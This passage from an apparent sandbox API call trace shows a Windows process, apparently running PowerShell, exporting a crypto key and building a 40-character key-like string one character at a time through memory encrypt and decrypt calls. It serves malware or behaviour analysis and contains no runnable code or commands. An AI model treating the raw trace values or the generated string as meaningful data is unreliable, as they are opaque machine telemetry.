pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0223.656] CryptExportKey (in: hKey=0x3b5068, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x24f46a8, pdwDataLen=0x5a2e8c4 | out: pbData=0x24f46a8*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0223.657] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0223.657] EtwEventActivityIdControl () returned 0x0 [0223.657] EtwEventActivityIdControl () returned 0x0 [0223.657] EtwEventActivityIdControl () returned 0x0 [0223.658] SysStringLen (param_1="") returned 0x8 [0223.658] SysStringLen (param_1="2") returned 0x8 [0223.658] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.658] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0223.659] SysStringLen (param_1="へ䆲쀢搡仧Ư拀") returned 0x8 [0223.659] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.659] SysStringLen (param_1="2f") returned 0x8 [0223.659] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.659] SysStringLen (param_1="鳇灊확䯪笍羱猌") returned 0x8 [0223.659] SysStringLen (param_1="鳇灊확䯪笍羱猌") returned 0x8 [0223.659] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.659] SysStringLen (param_1="2fm") returned 0x8 [0223.659] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.661] SysStringLen (param_1="뷮킳쉁㶆ࢨ蝾泱冬") returned 0x8 [0223.661] SysStringLen (param_1="뷮킳쉁㶆ࢨ蝾泱冬") returned 0x8 [0223.661] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="2fm7") returned 0x8 [0223.662] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="葨⳥먢혚砮ᶩỷ掝") returned 0x8 [0223.662] SysStringLen (param_1="葨⳥먢혚砮ᶩỷ掝") returned 0x8 [0223.662] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="2fm7r") returned 0x8 [0223.662] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="f孬茧쪅䂒䌇뾪ူ") returned 0x8 [0223.662] SysStringLen (param_1="f孬茧쪅䂒䌇뾪ူ") returned 0x8 [0223.662] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="2fm7rL") returned 0x8 [0223.662] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.662] SysStringLen (param_1="눬ꎴ犚뫓䧞훤") returned 0x8 [0223.662] SysStringLen (param_1="눬ꎴ犚뫓䧞훤") returned 0x8 [0223.662] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.663] SysStringLen (param_1="2fm7rLA") returned 0x8 [0223.663] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.663] SysStringLen (param_1="佻潀䯑◨횄㉋") returned 0x8 [0223.663] SysStringLen (param_1="佻潀䯑◨횄㉋") returned 0x8 [0223.663] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.663] SysStringLen (param_1="2fm7rLAW") returned 0x8 [0223.663] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0223.663] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵") returned 0x8 [0223.663] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵") returned 0x8 [0223.663] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵") returned 0x8 [0223.664] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵") returned 0x10 [0223.664] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.664] SysStringLen (param_1="2fm7rLAWO鬸㡒쪇ᣓ䐋䑻韎") returned 0x10 [0223.664] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.664] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵᝼拋櫬뒵쩺愜픁") returned 0x10 [0223.664] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵᝼拋櫬뒵쩺愜픁") returned 0x10 [0223.664] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="2fm7rLAWOa㡒쪇ᣓ䐋䑻韎") returned 0x10 [0223.665] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵ﻜ횟↔ㄭ섌栱ꥃ毹") returned 0x10 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵ﻜ횟↔ㄭ섌栱ꥃ毹") returned 0x10 [0223.665] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="2fm7rLAWOae쪇ᣓ䐋䑻韎") returned 0x10 [0223.665] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵煼훘٘ꕇ民╸歷遍") returned 0x10 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵煼훘٘ꕇ民╸歷遍") returned 0x10 [0223.665] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="2fm7rLAWOae6ᣓ䐋䑻韎") returned 0x10 [0223.665] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵掬ꕙ䫉˘绖閅魀") returned 0x10 [0223.665] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵掬ꕙ䫉˘绖閅魀") returned 0x10 [0223.666] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.666] SysStringLen (param_1="2fm7rLAWOae6h䐋䑻韎") returned 0x10 [0223.666] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.666] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵\旘\뛘簑ꍟ㊁ῠళ") returned 0x10 [0223.666] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵\旘\뛘簑ꍟ㊁ῠళ") returned 0x10 [0223.666] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.666] SysStringLen (param_1="2fm7rLAWOae6hP䑻韎") returned 0x10 [0223.666] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.666] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵ꪐ囇䇛㖎鱺煏") returned 0x10 [0223.666] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵ꪐ囇䇛㖎鱺煏") returned 0x10 [0223.666] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.666] SysStringLen (param_1="2fm7rLAWOae6hPd韎") returned 0x10 [0223.666] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.667] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵緯㶜ℒ؊䮐ᲆ쥛屦") returned 0x10 [0223.667] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵緯㶜ℒ؊䮐ᲆ쥛屦") returned 0x10 [0223.667] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.667] SysStringLen (param_1="2fm7rLAWOae6hPdy") returned 0x10 [0223.667] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0223.667] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫") returned 0x10 [0223.667] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫") returned 0x10 [0223.667] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫") returned 0x10 [0223.668] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫") returned 0x18 [0223.668] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.668] SysStringLen (param_1="2fm7rLAWOae6hPdyjᥩᒰ쿪紹逢荶쁐") returned 0x18 [0223.668] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.668] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫钏፣冣\⇝袕焲㧾∉) returned 0x18 [0223.668] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫钏፣冣\⇝袕焲㧾∉) returned 0x18 [0223.668] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.668] SysStringLen (param_1="2fm7rLAWOae6hPdyjVᒰ쿪紹逢荶쁐") returned 0x18 [0223.668] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.668] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫⛚⤱ﯶ旌཮꥾陧흲") returned 0x18 [0223.668] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫⛚⤱ﯶ旌཮꥾陧흲") returned 0x18 [0223.668] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.668] SysStringLen (param_1="2fm7rLAWOae6hPdyjVK쿪紹逢荶쁐") returned 0x18 [0223.668] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫폟꿃콺趋჊䬸絕") returned 0x18 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫폟꿃콺趋჊䬸絕") returned 0x18 [0223.669] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.669] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKP紹逢荶쁐") returned 0x18 [0223.669] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫ᥠ᱃픋Ẫ얙泌굿潄") returned 0x18 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫ᥠ᱃픋Ẫ얙泌굿潄") returned 0x18 [0223.669] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.669] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPl逢荶쁐") returned 0x18 [0223.669] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫㺶张珬ﳴ彑痰ᦁ") returned 0x18 [0223.669] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫㺶张珬ﳴ彑痰ᦁ") returned 0x18 [0223.669] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQ荶쁐") returned 0x18 [0223.670] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫Ҹ䱢郿뗬턆ꢐﮒū") returned 0x18 [0223.670] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫Ҹ䱢郿뗬턆ꢐﮒū") returned 0x18 [0223.670] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQs쁐") returned 0x18 [0223.670] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫箚簾訆냖㴰먧툄⎧") returned 0x18 [0223.670] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫箚簾訆냖㴰먧툄⎧") returned 0x18 [0223.670] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso") returned 0x18 [0223.670] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0223.670] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠") returned 0x18 [0223.671] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠") returned 0x18 [0223.671] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠") returned 0x18 [0223.671] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠") returned 0x20 [0223.671] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.671] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0䗦髇襔ჴ䎠ꄲ꥛") returned 0x20 [0223.671] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.671] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠窉칝軇봀겓㽑緼") returned 0x20 [0223.671] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠窉칝軇봀겓㽑緼") returned 0x20 [0223.671] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.671] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X髇襔ჴ䎠ꄲ꥛") returned 0x20 [0223.671] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠놯埨₁㛖஗木堧") returned 0x20 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠놯埨₁㛖஗木堧") returned 0x20 [0223.672] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.672] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4襔ჴ䎠ꄲ꥛") returned 0x20 [0223.672] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠\櫟곧೸펈繜ퟲ₊⋨) returned 0x20 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠\櫟곧೸펈繜ퟲ₊⋨) returned 0x20 [0223.672] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.672] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4Rჴ䎠ꄲ꥛") returned 0x20 [0223.672] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠駶꬯㠕䭒晽㘘꨾蔽") returned 0x20 [0223.672] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠駶꬯㠕䭒晽㘘꨾蔽") returned 0x20 [0223.672] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.673] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK䎠ꄲ꥛") returned 0x20 [0223.673] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.673] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠⬼炍见階䥼섳슊") returned 0x20 [0223.673] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠⬼炍见階䥼섳슊") returned 0x20 [0223.673] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.673] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0ꄲ꥛") returned 0x20 [0223.673] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.673] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠륃찎喤䂣肞㯹鏏榋") returned 0x20 [0223.673] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠륃찎喤䂣肞㯹鏏榋") returned 0x20 [0223.673] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.673] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0O꥛") returned 0x20 [0223.673] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠叭ꚷ熬坾숩ㄠ꟒") returned 0x20 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠叭ꚷ熬坾숩ㄠ꟒") returned 0x20 [0223.674] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.674] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0Oc") returned 0x20 [0223.674] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ∋) returned 0x20 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ∋) returned 0x20 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ∋) returned 0x20 [0223.674] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ∋) returned 0x28 [0223.674] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH㰏ꠤ෿ྊ㰁硐옗") returned 0x28 [0223.675] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊ⰋⰋߠ䉒魡㹔䅮닢∳) returned 0x28 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊ⰋⰋߠ䉒魡㹔䅮닢∳) returned 0x28 [0223.675] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8ꠤ෿ྊ㰁硐옗") returned 0x28 [0223.675] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ灓猓灑Ბ⺌걷ਧ≽) returned 0x28 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ灓猓灑Ბ⺌걷ਧ≽) returned 0x28 [0223.675] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8l෿ྊ㰁硐옗") returned 0x28 [0223.675] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ㐋஽кￂꛕ藡‽⋒) returned 0x28 [0223.675] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ㐋஽кￂꛕ藡‽⋒) returned 0x28 [0223.676] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.676] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYྊ㰁硐옗") returned 0x28 [0223.676] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.676] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ뤋ᵝԫ빰炛䦋焴≠) returned 0x28 [0223.676] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ뤋ᵝԫ빰炛䦋焴≠) returned 0x28 [0223.676] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.676] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYK㰁硐옗") returned 0x28 [0223.676] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.676] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ程ﮓꂐ봈풲澰≚) returned 0x28 [0223.676] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ程ﮓꂐ봈풲澰≚) returned 0x28 [0223.676] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.676] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKt硐옗") returned 0x28 [0223.676] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.677] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ찋묪鶁\胙꒓Ṭﮓ") returned 0x28 [0223.677] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ찋묪鶁\胙꒓Ṭﮓ") returned 0x28 [0223.677] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.677] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtB옗") returned 0x28 [0223.677] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.677] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ㭱Ԥମ\峜疎꾇ꨰ") returned 0x28 [0223.677] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ㭱Ԥମ\峜疎꾇ꨰ") returned 0x28 [0223.677] SystemFunction041 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.677] SysStringLen (param_1="2fm7rLAWOae6hPdyjVKPlQso0X4RK0OcH8lYKtBZ") returned 0x28 [0223.677] SystemFunction040 (in: Memory=0x5c92294, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92294) returned 0x0 [0223.677] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ⋾) returned 0x28 [0223.678] SysStringLen (param_1="䚜ꎭ伻灉錼㜈嫵룡⇼揙甤♝൫絳㎚鬛퉁摠᧎Қ\㇟斷纄⎊Ⰻ밋Ⴚᠠ慰̋퐞ᔭ⋾) returned 0x28 [0223.678] SysStringLen 